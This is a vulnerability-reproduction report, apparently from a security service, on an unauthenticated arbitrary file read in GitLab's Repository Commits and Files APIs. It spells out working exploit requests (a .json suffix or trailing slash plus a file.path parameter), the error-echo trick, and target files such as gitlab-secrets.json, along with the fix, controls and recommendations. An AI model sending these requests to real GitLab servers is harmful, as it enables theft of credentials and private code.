CVE-2026-85706: Verified Reproduction
CVE-2026-85706: GitLab CE/EE unauthenticated path traversal in Repository Commits API leads to arbitrary file read
CVE-2026-85706 is verified against the affected target. Vulnerability class: Path Traversal. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00354.
What Is CVE-2026-85706?
CVE-2026-85706 is a critical-severity Path Traversal vulnerability. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00354).
CVE-2026-85706 Severity
CVE-2026-85706 is rated critical severity.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
How to Reproduce CVE-2026-85706
pruva-verify REPRO-2026-00354 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00354/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-85706
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
Unauthenticated POST http://target/api/v4/projects/<id>/repository/commits.json?file=&file.size=64&Content-Type=application/x-www-form-urlencoded&file.path=<arbitrary filesystem path> with HTTP header Content-Type: application/x-www-form-urlencoded and empty body
- nginx
- gitlab-workhorse (anchored route regex on clean path fails to classify .json-suffixed commits route, proxies raw request with signed Gitlab-Workhorse header)
- Rails/Grape strips .json suffix
- API::Commits post ':id/repository/commits' (require_gitlab_workhorse! only, no authenticate!)
- CommitsBodyUploaderHelper#file_params_from_body_upload
- File.exist?/File.read(params['file.path…
Alternate trigger for CVE-2026-85706 confirmed on the vulnerable build: the Repository Files API endpoints POST/PUT /api/v4/projects/:id/repository/files/:file_path (lib/api/files.rb) lack authenticate! in GitLab 19.3.1 and call the same CommitsBodyUploaderHelper#file_params_from_body_upload sink as the Repository Com…
How the agent worked
Root Cause and Exploit Chain for CVE-2026-85706
CVE-2026-85706 is an unauthenticated arbitrary local file read in GitLab CE/EE,
reachable through the Repository Commits REST API. GitLab Workhorse classifies
the commits body-upload accelerator route with an anchored regex on the clean
(escaped) URI path; appending a .json format suffix to
POST /api/v4/projects/:id/repository/commits defeats that classification, so
Workhorse proxies the raw request to Rails with its signed
Gitlab-Workhorse header. The Grape endpoint post ':id/repository/commits'
(lib/api/commits.rb) calls require_gitlab_workhorse! but, in vulnerable
versions, never calls authenticate!, and
API::Helpers::CommitsBodyUploaderHelper#file_params_from_body_upload
(lib/api/helpers/commits_body_uploader_helper.rb) takes the attacker-supplied
flat request parameter file.path and uses it directly as a filesystem path:
File.exist?(params['file.path']) followed by File.read(file_path). When the
request also carries a parameter literally named Content-Type with value
application/x-www-form-urlencoded, the file content is fed to
Rack::Utils.parse_nested_query, and any invalid percent-escape in the file
(e.g. %zz) makes Rack::QueryParser::InvalidParameterError embed the file
content in its message, which the vulnerable rescue clause echoes verbatim in
the HTTP 400 response body. Files without a parse-triggering byte are still
confirmed readable through an existence oracle (local file not present vs a
downstream 401/500). This was reproduced end-to-end on the real omnibus product
(nginx → gitlab-workhorse → puma/Rails) with no sanitizers and no
authentication.
- Package/component affected: GitLab CE/EE omnibus —
lib/api/commits.rb(Repository Commits API),lib/api/helpers/commits_body_uploader_helper.rb, and the GitLab Workhorse body-upload route classification for/api/v4/projects/[^/]+/repository/commits. - Affected versions: 18.7 before 19.1.8, 19.2 before 19.2.6, 19.3 before
19.3.2. Tested vulnerable:
gitlab/gitlab-ce:19.3.1-ce.0(image digestsha256:f63df4c43029fe91db370609c0b40a1e3585cebd06e3e9637d93a9a3030eb86e). Tested fixed:gitlab/gitlab-ce:19.3.2-ce.0(image digestsha256:05453dd1d9aba27c2c487613141596868409b4d03247647f7d66cb0b36f321b8). - Risk level: Critical (CVSS 3.1 10.0, AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).
Any unauthenticated network attacker who can reach the web endpoint and can
name an existing, anonymously routable project can read arbitrary files
readable by the
gitservice account — including/etc/gitlab/gitlab-secrets.json(demonstrated readable via the existence oracle: HTTP 500 downstream processing vslocal file not presentfor a missing file), database credentials, Gitaly/Praefect tokens, and private repository content. With the secrets file disclosed, an attacker can forge signed cookies/tokens (I:Hintegrity impact in the CVSS vector).
Impact Parity
- Disclosed/claimed maximum impact: unauthenticated arbitrary file read (info leak of any file readable by the GitLab service account), critical severity.
- Reproduced impact from this run: full parity for the claimed read
primitive —
- Full content echo, attacker-chosen path: a canary file planted at
/tmp/canary_85706_a1.txtcontainingPRUVA85706_CANARY_TOKENA1_9f31c0ffee_PCTBYTE_%zz_ENDwas read unauthenticated and its complete content was reflected in the response:{"message":"400 Bad request - Invalid parameter: invalid %-encoding (PRUVA85706_CANARY_TOKENA1_9f31c0ffee_PCTBYTE_%zz_END)"}. Repeated with a distinct token in a second fresh-process attempt. - Existence oracle for arbitrary paths:
/etc/passwd(existing) proceeds to downstream authorization (401), while a non-existent path returns400 ... local file not present— confirmingFile.exist?is consulted on the attacker-controlled path. - Sensitive-file readability:
/etc/gitlab/gitlab-secrets.jsonproduced a downstream HTTP 500 (content read and processed), notlocal file not present, proving the secrets file is opened by the vulnerable code path. - Operative bypass control: the identical request without the
.jsonsuffix returns401 Unauthorizedon the vulnerable build — Workhorse classifies that route and authentication is enforced — proving the.jsonsuffix is the operative route-matching bypass. - Fixed negative control: the identical
.json-suffixed request against19.3.2-ce.0returns401 Unauthorizedin both attempts (no echo, no oracle) becauseauthenticate!now runs before the upload handling.
- Full content echo, attacker-chosen path: a canary file planted at
- Parity:
fullfor the claimed info-leak impact. - Not demonstrated: post-read weaponization (e.g., forging signed requests
from
gitlab-secrets.json) — out of scope for the filed claim, which is the file-read primitive itself.
Root Cause
- Missing authentication on a Workhorse-only endpoint —
lib/api/commits.rb(v19.3.1), endpointpost ':id/repository/commits':
The endpoint trusts that the Workhorse body-upload middleware already finalized the upload (the design assumption is thatpost ':id/repository/commits' do require_gitlab_workhorse! attrs = file_params_from_body_upload # <-- reads a file BEFORE any authz ...file.path/file.sizeonly ever come from Workhorse's signed multipart finalization), so it never callsauthenticate!and reads the raw Grape params. - Raw request parameter used as a filesystem path —
lib/api/helpers/commits_body_uploader_helper.rb(v19.3.1):def file_params_from_body_upload file_path = params['file.path'] bad_request!('local file not present') unless File.exist?(file_path) ... elsif media_type == 'application/x-www-form-urlencoded' Rack::Utils.parse_nested_query(File.read(file_path)).deep_symbolize_keys! rescue Rack::QueryParser::InvalidParameterError => e bad_request!("Invalid parameter: #{e.message}") # e.message embeds file contentparams['file.path'],params['file.size']andparams['Content-Type']are ordinary flat request parameters (Rack keepsfile.pathflat because its nested-query syntax usesfile[path], notfile.path), so a plain URL query string controls the path thatFile.exist?/File.readopen. Therequires :file, type: WorkhorseFiledeclaration is satisfied by a blankfile=parameter becauseWorkhorseFile.parsereturnsnilfor blank values. - Workhorse route-matching bypass — Workhorse decides whether a request is
a commits body-upload (which it would intercept and finalize) by matching an
anchored regex against the clean (escaped) request path. The
.jsonformat suffix makes the path not match the accelerator route, so Workhorse simply proxies the raw request to Rails — while Rails/Grape strips the.jsonsuffix and routes it to the commits endpoint. Result: the endpoint is reachable with Workhorse's signed header but without Workhorse's upload finalization and without authentication. - Fix (v19.3.2) — public tag diff
v19.3.1 → v19.3.2:authenticate!added topost ':id/repository/commits'and toworkhorse_authorize_commits_body_upload!("Authenticate before Workhorse buffers the request body to disk").file_params_from_body_uploadnow trusts only middleware-finalized upload metadata:uploaded_file = params[:file]; bad_request!('file is invalid') unless uploaded_file.is_a?(::UploadedFile); path and size come from theUploadedFileobject, never raw params.- Rescue clauses no longer echo
e.message.
Reproduction Steps
- Reference:
bundle/repro/reproduction_steps.sh(self-contained; executed twice consecutively, both runs passing). - What the script does:
- Pulls the immutable official images
gitlab/gitlab-ce:19.3.1-ce.0(vulnerable) andgitlab/gitlab-ce:19.3.2-ce.0(fixed) and records their digests. - Boots the real omnibus product (nginx → gitlab-workhorse → puma/Rails →
gitaly/postgresql/redis) in Docker, waits for a real HTTP health check
(
/users/sign_in= 200,/api/v4/versionresponding). - Captures in-container target binding: the shipped
commits_body_uploader_helper.rb(5 rawfile.pathreferences, 0authenticatereferences on 19.3.1;authenticate!present on 19.3.2). - Creates a publicly routable demo project through the real Rails service
(
gitlab-rails runner), needed only so the URL routes. - Sends the unauthenticated attacker request through the real HTTP
boundary:
POST /api/v4/projects/1/repository/commits.json?file=&file.size=64&Content-Type=application/x-www-form-urlencoded&file.path=<target>with headerContent-Type: application/x-www-form-urlencodedand empty body. - Vulnerable build, attempt 1 (fresh boot): canary-with-
%zzread (content echo),/etc/passwd(existence oracle),/etc/gitlab/gitlab-secrets.json(sensitive-file oracle), missing-file control, and the no-.json-suffix control (401). - Vulnerable build, attempt 2:
docker restartfor fresh processes, a second distinct canary, plus controls. - Fixed build, attempts 1 and 2 (fresh boot + restart): identical
.json-suffixed attack.
- Pulls the immutable official images
- Expected evidence of reproduction (all observed in this run):
repro/artifacts/http/vuln_attempt1_canary_response.txt/vuln_attempt2_canary_response.txt: HTTP 400 withInvalid parameter: invalid %-encoding (PRUVA85706_CANARY_<per-attempt-token>_PCTBYTE_%zz_END)— arbitrary file content disclosure.vuln_attempt1_missingfile_response.txt: HTTP 400local file not present(vs/etc/passwd401,gitlab-secrets.json- — existence oracle.
vuln_attempt1_nosuffix_response.txt/vuln_attempt2_nosuffix_response.txt: HTTP 401 — the.jsonsuffix is the operative bypass.fixed_attempt1_canary_response.txt/fixed_attempt2_canary_response.txt: HTTP 401Unauthorized— fixed version fails closed.
Evidence
- Script + diagnostics:
bundle/repro/reproduction_steps.sh,bundle/logs/reproduction_steps.log(per-run diagnostic transcript). - Finalized per-request evidence (request URL, headers, status, body):
bundle/repro/artifacts/http/*.txt, SHA-256-bound inbundle/repro/runtime_manifest.json. - Key excerpts (vulnerable 19.3.1, unauthenticated):
- Canary attempt 1 →
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (PRUVA85706_CANARY_TOKENA1_9f31c0ffee_PCTBYTE_%zz_END)"} - Canary attempt 2 (fresh processes) →
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (PRUVA85706_CANARY_TOKENA2_5eed2badcafe_PCTBYTE_%zz_END)"} - Missing file →
{"message":"400 Bad request - local file not present"} /etc/passwd→{"message":"401 Unauthorized"}(read succeeded, parse clean, downstream auth failure — existence oracle)/etc/gitlab/gitlab-secrets.json→{"message":"500 Internal Server Error"}(secrets content read and processed downstream)- Same request without
.json→{"message":"401 Unauthorized"}(Workhorse classifies the route)
- Canary attempt 1 →
- Fixed 19.3.2, same attack →
{"message":"401 Unauthorized"}(both attempts). - Environment: Docker (rootless) on Linux x86-64, 4 vCPU, 31 GB RAM; official images as above; no sanitizers; product-mode proof through the real nginx/workhorse/puma HTTP boundary.
Recommendations / Next Steps
- Upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later immediately; the
endpoint now authenticates before Workhorse buffers the body and only trusts
middleware-finalized
UploadedFilemetadata. - Defense-in-depth:
- Route/classification logic in proxies (Workhorse) and application routing (Rails/Grape format-suffix stripping) must agree on path canonicalization; anchored regexes on escaped paths should account for format suffixes.
- Never echo raw exception messages (
e.message) to API clients. - Parameters sourced from signed middleware handoff (e.g.
file.path,file.size) should be carried in a tamper-proof envelope, not re-accepted from the raw request.
- Testing: regression test that an unauthenticated
POST /api/v4/projects/:id/repository/commits.jsonwith flatfile.path/file.size/Content-Typequery parameters returns 401 before any filesystem access, on both the accelerator-classified and non-classified (suffixed) path shapes.
Additional Notes
- Idempotency: the script removes prior containers at start, reuses pulled
images, truncates its diagnostic log per run, and re-creates the demo project
(idempotent
find_by(name:)). It was executed twice consecutively with identical CONFIRMED results. - Limitations / edge cases:
- Full content echo requires a parse-triggering byte in the target file
(invalid
%-escape such as%zz, or invalid UTF-8). Benign-charset files (e.g. stock/etc/passwd) still yield a reliable existence/readability oracle (local file not presentvs downstream 401/500); an attacker can force echo for any file by causing downstream processing of parsed params, or simply exploit the oracle. - The exploit needs an existing, anonymously routable (public or internally exposed) project id in the URL; no credentials of any kind are required.
- Raw
../traversal inside the URL path is blocked by GitLab's generic path-traversal middleware on both builds; the operative bypass is the.jsonsuffix on the route plus thefile.pathquery parameter, exactly as claimed.
- Full content echo requires a parse-triggering byte in the target file
(invalid
Variant Analysis & Alternative Triggers for CVE-2026-85706
The parent CVE is an unauthenticated arbitrary file read reached by appending a
.json format suffix to POST /api/v4/projects/:id/repository/commits, which
defeats GitLab Workhorse's anchored route regex
(^/api/v4/projects/[^/]+/repository/commits\z) so Workhorse proxies the raw
request to Rails, where the vulnerable Grape endpoint (only
require_gitlab_workhorse!, no authenticate!) feeds the attacker-controlled
file.path request parameter straight into File.exist? / File.read via
API::Helpers::CommitsBodyUploaderHelper#file_params_from_body_upload.
This variant analysis audited every Workhorse-accelerated route (regexes
extracted from the shipped gitlab-workhorse Go binaries of both the vulnerable
19.3.1-ce.0 and fixed 19.3.2-ce.0 omnibus images — they are identical,
i.e. Workhorse was not changed by the fix) against every Rails handler that
trusts the Workhorse body-upload finalization contract.
Runtime outcome (confirmed live on the real omnibus stack, twice):
- A distinct ALTERNATE TRIGGER is confirmed on the vulnerable 19.3.1 build.
The sibling Repository Files API endpoints
POST/PUT /api/v4/projects/:id/repository/files/:file_pathinlib/api/files.rbalso lackauthenticate!in 19.3.1 and call the identicalfile_params_from_body_uploadsink. Their Workhorse regex (^/api/v4/projects/[^/]+/repository/files/[^/]+\z) ends in a wildcard segment that a format suffix cannot defeat, but a trailing slash (.../repository/files/vfile.txt/) both (a) makes the clean path end in/so the\z-anchored regex does not match (Workhorse does not classify / does not intercept), and (b) still routes to the create/update-file Grape endpoints. The unauthenticated requestPOST /api/v4/projects/1/repository/files/vfile.txt/?file=&file.size=64&Content-Type=application/x-www-form-urlencoded&file.path=/tmp/canary_85706v.txtreturned the full canary content in the response body:{"message":"400 Bad request - Invalid parameter: invalid %-encoding (PRUVA85706_VCANARY_VC1_d41d8cd98f00_PCTBYTE_%zz_END)"}(same forPUT). This is a materially different entry point (different API endpoint, different HTTP method surface, different regex-defeat encoding) into the same sink and the same root cause. - A second encoding of the parent bypass was also confirmed: a trailing
slash on the commits route (
POST /api/v4/projects/1/repository/commits/) reproduces the same canary echo as the.jsonsuffix (same endpoint, so this is an encoding variant, recorded as corroborating evidence). - NO BYPASS of the fixed 19.3.2 build exists for any tested path. All
matrix entries against
19.3.2-ce.0(.json-suffixed and trailing-slash commits, trailing-slash/plain/.jsonfiles POST/PUT, and both/authorize.jsonprobes) return401 Unauthorizedwith no file-content echo and no existence oracle, becauseauthenticate!now runs beforefile_params_from_body_uploadin all three endpoints and inworkhorse_authorize_commits_body_upload!, and the sink only accepts JWT-middleware-finalized::UploadedFileobjects.
Fix Coverage / Assumptions
- Invariant the fix relies on: after the fix, using the commits/files
body-upload endpoints requires (1) passing
authenticate!first, and (2) receiving a middleware-finalized::UploadedFile.Gitlab::Middleware:: Multipartconstructs::UploadedFileonly from a JWT signed with the Workhorse secret (Gitlab-Workhorse-Multipart-Fieldsheader /upload.gitlab-workhorse-uploadparam), andUploadedFile.from_paramsFile.realpaths the path and rejects anything outside the allowed upload directories. Client-supplied multipart producesRack::Multipart::UploadedFile/ActionDispatch::Http::UploadedFile, which are not::UploadedFile→400 file is invalid. Verified sound in the shipped 19.3.2 source. - What the fix covers:
lib/api/commits.rbpost ':id/repository/commits',lib/api/files.rbpost/put ':id/repository/files/:file_path'(authenticate!added), andlib/api/helpers/commits_body_uploader_helper.rb(authenticate inworkhorse_authorize_commits_body_upload!; sink restricted to::UploadedFile; noe.messageecho). Runtime-verified: all covered paths return 401 on 19.3.2. - What the fix does NOT cover (residual, defense-in-depth):
- Workhorse route classification itself is unchanged (regexes byte-identical
between the two binaries); every
\z-anchored route remains suffix/trailing-slash defeatable. The defense lives only in the Rails handlers. - No
::API::NO_FORMAT_SUFFIX_REQUIREMENT(defined in both versions and used by packages/releases routes) was applied to the commits route —/repository/commits.jsonand/repository/commits/still route in 19.3.2; onlyauthenticate!blocks them. - A CI-level invariant that any endpoint under a Workhorse-accelerated route
must call
authenticate!/authenticate_job!is absent; a future endpoint with onlyrequire_gitlab_workhorse!would reintroduce the bug class.
- Workhorse route classification itself is unchanged (regexes byte-identical
between the two binaries); every
Variant / Alternate Trigger
Confirmed alternate trigger (vulnerable 19.3.1 only):
- Entry point:
POST(andPUT)http://<target>/api/v4/projects/<id>/repository/files/<any-file-path-segment>/(trailing slash required) with queryfile=&file.size=64&Content-Type=application/x-www-form-urlencoded&file.path=<arbitrary filesystem path>, headerContent-Type: application/x-www-form-urlencoded, empty body, unauthenticated. - Code path: nginx → gitlab-workhorse (clean path
/api/v4/projects/1/repository/files/vfile.txt/does not match^/api/v4/projects/[^/]+/repository/files/[^/]+\z→ raw proxy with signed internal header) → Rails/Grape routes the trailing-slash path toAPI::Files post/put ':id/repository/files/:file_path'(lib/api/files.rb, 19.3.1 lines 362/407:require_gitlab_workhorse!only, noauthenticate!) →CommitsBodyUploaderHelper#file_params_from_body_upload→File.exist?/File.read(params['file.path'])→Rack::Utils.parse_nested_query(file content)→InvalidParameterErrormessage (embedding the file content) echoed in the 400 response. - Corroborating encoding variant:
POST /api/v4/projects/1/repository/commits/(trailing slash instead of.json) — same endpoint as the parent claim, so not counted as a distinct trigger.
Tested and ruled out (see patch_analysis.md coverage matrix): every other
Workhorse-accelerated route (projects/:id/uploads, wikis attachments, alert
metric images, jobs artifacts/sbom scans, project/group import, placeholder
reassignments, terraform state, all packages routes, user/group/organization
avatar upload, web /uploads/* and /import/* routes) enforces its own
authentication in both 19.3.1 and 19.3.2; terraform/packages regexes are
prefix-based and not suffix/trailing-slash defeatable. GET /api/v4/geo/proxy
is Workhorse-only without authenticate! but discloses only Geo proxy
configuration (EE-only, no file access) — a different sink, not the same root
cause. Controls proving the mechanism: the plain files path
(/repository/files/vfile.txt, no trailing slash) is intercepted by Workhorse
(pre-authorized via the then-unauthenticated authorize endpoint, body finalized
to an empty tempfile) and returns 400 branch is required without any file
read — the attacker's file.path param is overridden by workhorse's finalized
multipart params; only the trailing-slash (unintercepted) form reaches the
vulnerable raw-param path.
- Package/component affected: GitLab CE/EE omnibus —
lib/api/files.rb(Repository Files API),lib/api/commits.rb,lib/api/helpers/ commits_body_uploader_helper.rb, gitlab-workhorse route classification. - Affected versions (as tested):
- vulnerable:
gitlab/gitlab-ce:19.3.1-ce.0, image digestsha256:f63df4c43029fe91db370609c0b40a1e3585cebd06e3e9637d93a9a3030eb86e, gitlab-rails build revision668508315ee5b5a59aa018424f741c27e81bafe1(from/opt/gitlab/version-manifest.txt). - fixed:
gitlab/gitlab-ce:19.3.2-ce.0, image digestsha256:05453dd1d9aba27c2c487613141596868409b4d03247647f7d66cb0b36f321b8, gitlab-rails build revision34042bf7d00ca54c5e04079df6cdc6151485fd46. - Per the advisory: all 18.7 before 19.1.8, 19.2 before 19.2.6, 19.3 before 19.3.2.
- vulnerable:
- Risk level: Critical — the alternate trigger inherits the parent CVE's
full CVSS 3.1 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N) impact class on
unpatched instances: unauthenticated arbitrary file read as the
gitservice account (/etc/gitlab/gitlab-secrets.json, DB credentials, Gitaly/Praefect tokens, private repository content).
Impact Parity
- Disclosed/claimed maximum impact (parent CVE): unauthenticated arbitrary file read of any file readable by the GitLab service account.
- Reproduced impact from this variant run (on 19.3.1):
- Full attacker-chosen file content echo through the Files API alternate
trigger: complete canary content reflected in the 400 response body for
both
POSTandPUT(seevuln_t3_files_post_slash.txt/vuln_t4_files_put_slash.txt). - Full content echo also via the trailing-slash commits encoding
(
vuln_t2_commits_slash.txt). - Controls: plain-path files request (Workhorse-intercepted) does not read
the attacker path (
400 branch is required, no echo) — the echo depends on the Workhorse regex being defeated, exactly as in the parent mechanism.
- Full attacker-chosen file content echo through the Files API alternate
trigger: complete canary content reflected in the 400 response body for
both
- Parity:
fullfor the claimed info-leak primitive, via a distinct entry point on the vulnerable version;noneon the fixed version (no bypass). - Not demonstrated: post-read weaponization (forging signed tokens from
gitlab-secrets.json); out of scope for the filed file-read claim.
Root Cause
Same underlying root cause as the parent CVE: Workhorse classifies
body-upload-accelerated API routes with \z-anchored regexes on the clean
(escaped) request path, while Rails/Grape routes the same request after
stripping an optional (.:format) suffix (and tolerating trailing slashes) —
the two layers disagree about the request's identity. An endpoint that relies
solely on require_gitlab_workhorse! (which only asserts "the request
transited Workhorse", true for all omnibus traffic) and on Workhorse having
finalized the upload is exploitable whenever Workhorse's regex fails to match
but Rails still routes. In 19.3.1 the commits and files body-upload
endpoints both lacked authenticate! and both read params['file.path'] as a
filesystem path; the parent PoC used .json on the commits route, this
analysis shows a trailing slash defeats the same regexes and additionally
defeats the files-route wildcard tail. The v19.3.2 fix (Rails-side only;
Workhorse binary unchanged) adds authenticate! to all three endpoints plus
the authorize helper and restricts the sink to JWT-finalized ::UploadedFile
objects with upload-directory allowlisting. No fix commit SHA is embedded in
the images; the fix was verified by diffing the shipped Rails source of the two
immutable official image tags (exact build revisions recorded in
source_identity.json).
Reproduction Steps
- Reference:
bundle/vuln_variant/reproduction_steps.sh(self-contained, idempotent; executed twice end-to-end with identical results, exit code 1 = "no bypass on fixed" both times). - What the script does:
- Pulls immutable official images
gitlab/gitlab-ce:19.3.1-ce.0andgitlab/gitlab-ce:19.3.2-ce.0, records digests, boots the real omnibus stack (nginx → gitlab-workhorse → puma/Rails → gitaly/postgresql/redis) with real HTTP health checks, creates a public demo project viagitlab-rails runner, and plants a canary file/tmp/canary_85706v.txt=PRUVA85706_VCANARY_VC1_d41d8cd98f00_PCTBYTE_%zz_END. - Captures target binding per version: the shipped commits.rb/files.rb
endpoint blocks (proving 19.3.1 files endpoints lack
authenticate!and 19.3.2 has it), VERSION, and the workhorse route regexes. - Sends the unauthenticated attack matrix through the real HTTP boundary on
both versions: T1 commits
.json; T2 commits/; T3/T4 filesPOST/PUTtrailing slash (alternate-trigger candidates); T5/T6 files plain /.json(Workhorse-intercepted controls); T7/T8 commits/files/authorize.jsonprobes. - Records machine-readable results to
bundle/logs/vuln_variant/matrix_results.json; exit 0 only if a file read reproduces on the fixed build (true bypass).
- Pulls immutable official images
- Expected evidence of reproduction:
vuln_t3_files_post_slash.txt/vuln_t4_files_put_slash.txt: HTTP 400 withInvalid parameter: invalid %-encoding (PRUVA85706_VCANARY_VC1_d41d8cd98f00_PCTBYTE_%zz_END)— unauthenticated arbitrary file read via the Files API (alternate trigger).vuln_t2_commits_slash.txt: same echo via the trailing-slash commits encoding;vuln_t1_commits_json.txt: parent-trigger baseline echo.vuln_t5_files_post_plain.txt:400 branch is required(no read) — the Workhorse-intercepted control.- All
fixed_*.txt: HTTP 401{"message":"401 Unauthorized"}— fix blocks every tested entry point on 19.3.2 (no bypass).
Evidence
- Run log:
bundle/logs/vuln_variant/reproduction_steps.log(two full runs) - Machine-readable matrix:
bundle/logs/vuln_variant/matrix_results.json - Version/digest identity:
bundle/logs/vuln_variant/vulnerable_version.txt,bundle/logs/vuln_variant/fixed_version.txt - Workhorse regex extraction + cross-version diff:
bundle/logs/vuln_variant/workhorse_regexes.txt(regexes identical between 19.3.1 and 19.3.2 binaries — only unrelated adjacent string-fragment noise differs) - HTTP captures:
bundle/vuln_variant/artifacts/http/*.txt - Target binding:
bundle/vuln_variant/artifacts/http/target_binding_vuln.txt(19.3.1: files.rb create/update endpoints showrequire_gitlab_workhorse!with noauthenticate!) andtarget_binding_fixed.txt(19.3.2:authenticate!present) - Environment: Docker (rootless, overlay2), 8 CPUs / 31 GiB RAM, linux x86_64;
GitLab omnibus containers with
GITLAB_ROOT_PASSWORDenv and public demo projectdemo85706v(id 1).
Recommendations / Next Steps
- The shipped 19.3.2 fix does cover the alternate trigger found here (files.rb endpoints + authorize helper authenticate before the sink), so no emergency action is needed beyond upgrading to 19.1.8/19.2.6/19.3.2.
- Defense-in-depth for the underlying classification mismatch:
- Apply
::API::NO_FORMAT_SUFFIX_REQUIREMENTtopost ':id/repository/commits'(constant already exists inlib/api.rband is used by packages/releases routes) so/commits.jsonno longer routes at all. - Teach Workhorse's
\z-anchored API route regexes to tolerate format suffixes and trailing slashes (e.g.(?:\.[a-z]+)?/?\z) so classification matches what Rails will route — currently a trailing slash defeats every\z-anchored route, includinguploads,artifacts, andmetric_images. - Add a CI/rubocop invariant: any Grape endpoint under a
Workhorse-accelerated route must call
authenticate!/authenticate_job!(or an explicitly documented equivalent) before using upload params.
- Apply
Additional Notes
- Idempotency: the script tears down containers (with
-vplus volume prune — the rootless-docker storage pool is a 12G tmpfs that otherwise fills with anonymous GitLab volumes, which was the cause of an initial boot failure) and re-runs cleanly; verified by two consecutive complete runs with identical results and exit code 1. - The
/authorize.jsonprobes (T7/T8) return HTTP 500 on 19.3.1 (exception in the authorize handler when invoked outside the Workhorse pre-authorization flow) and 401 on 19.3.2 — recorded as coverage probes; they do not read files. - Fixed-version identity is the official immutable image tag
19.3.2-ce.0(the patched release named in the advisory); exact source identity inbundle/vuln_variant/source_identity.json.
CVE-2026-85706 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
docker ps 2>&1 | head -5; echo "---"; docker images 2>&1 | grep -i gitlab | head -10; echo "---"; df -h / /var/lib/docker 2>&1 | head -5; free -g | head -2; nprocCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
---
---
df: /var/lib/docker: No such file or directory
Filesystem Size Used Avail Use% Mounted on
overlay 145G 13G 133G 9% /
total used free shared buff/cache available
Mem: 31 0 30 0 0 30cat /workspace/bundle/ticket.json | head -100; echo "===="; ls -la /workspace/bundle/repro/ /workspace/bundle/logs/repro/ 2>&1{"cwd":"/workspace","duration_ms":55,"exit_code":0,"stderr":"","stdout":"{\"claim\":{\"argus_claim_ref\":null,\"attacker_control\":\"unauthenticated attacker sends POST request with URL carrying .json suffix plus URL-encoded path traversal (%2F, ..%2F) in Repository Commits REST API area\",\"claimed_surface\":\"api_remote\",\"expected_impact\":\"info_leak\",\"finding_id\":null,\"id\":null,\"required_entrypoint_detail\":\"Repository Commits REST API endpoint (POST request with .json suffix and URL-encoded path traversal in URL path)\",\"required_entrypoint_kind\":\"endpoint\",\"submission_reason\":\"ticket_derived_llm\",\"trigger_class\":\"service_api\",\"upstream_verdicts\":{\"claim_extraction\":{\"confidence\":\"high\",\"model\":\"accounts/fireworks/models/kimi-k2p7-code\",\"reason\":\"Ticket describes a validated unauthenticated arbitrary file read in GitLab CE/EE via Repository Commits REST API: POST with .json suffix and URL-encoded traversal bypasses Workhorse route matching, reaches Rails/Grape commits endpoint, and leaks arbitrary files readable by git/gitlab service account.\",\"source\":\"llm\"}}},\"demonstration\":null,\"latest_description\":\"CVE-2026-85706 (CVSS 10.0, C… [truncated]ls -la /pruva/project-cache/ 2>&1; echo "---"; cat /pruva/project-cache/.pruva/cache_manifest.json 2>&1; echo "---"; ls /workspace/bundle/support/ /workspace/bundle/logs/support/ 2>&1; echo "---"; cat /workspace/bundle/.pruva/run_attempt.jsontotal 4
drwx------ 4 vscode vscode 80 Sep 12 05:52 .
drwxr-xr-x 3 root root 4096 Sep 12 05:52 ..
drwx------ 2 vscode vscode 60 Sep 12 05:52 .pruva
drwx------ 2 vscode vscode 40 Sep 12 05:52 repo-mirrors
---
{
"schema_version": 1,docker version --format '{{.Server.Version}}' 2>&1; docker info 2>&1 | grep -iE 'storage|cgroup|root dir' | head -527.5.1 Storage Driver: overlay2 Cgroup Driver: none Cgroup Version: 2 cgroupns Docker Root Dir: /home/rootless/.local/share/docker
cd /tmp && for tag in v19.3.1 19.3.1; do
for f in lib/api/helpers/commits_body_uploader_helper.rb; do
url="https://gitlab.com/gitlab-org/gitlab/-/raw/$tag/$f"
code=$(curl -sL -o "/tmp/cbu_${tag}.rb" -w '%{http_code}' "$url")
echo "$tag $f -> $code ($(wc -c < /tmp/cbu_${tag}.rb 2>/dev/null))"
done
donev19.3.1 lib/api/helpers/commits_body_uploader_helper.rb -> 404 (2679) 19.3.1 lib/api/helpers/commits_body_uploader_helper.rb -> 404 (2679)
Artifacts and Evidence for CVE-2026-85706
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-85706
FAQ: CVE-2026-85706
Is CVE-2026-85706 exploitable?
How severe is CVE-2026-85706?
What type of vulnerability is CVE-2026-85706?
How can I reproduce CVE-2026-85706?
Is the CVE-2026-85706 reproduction verified?
References for CVE-2026-85706
Authoritative sources for CVE-2026-85706 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.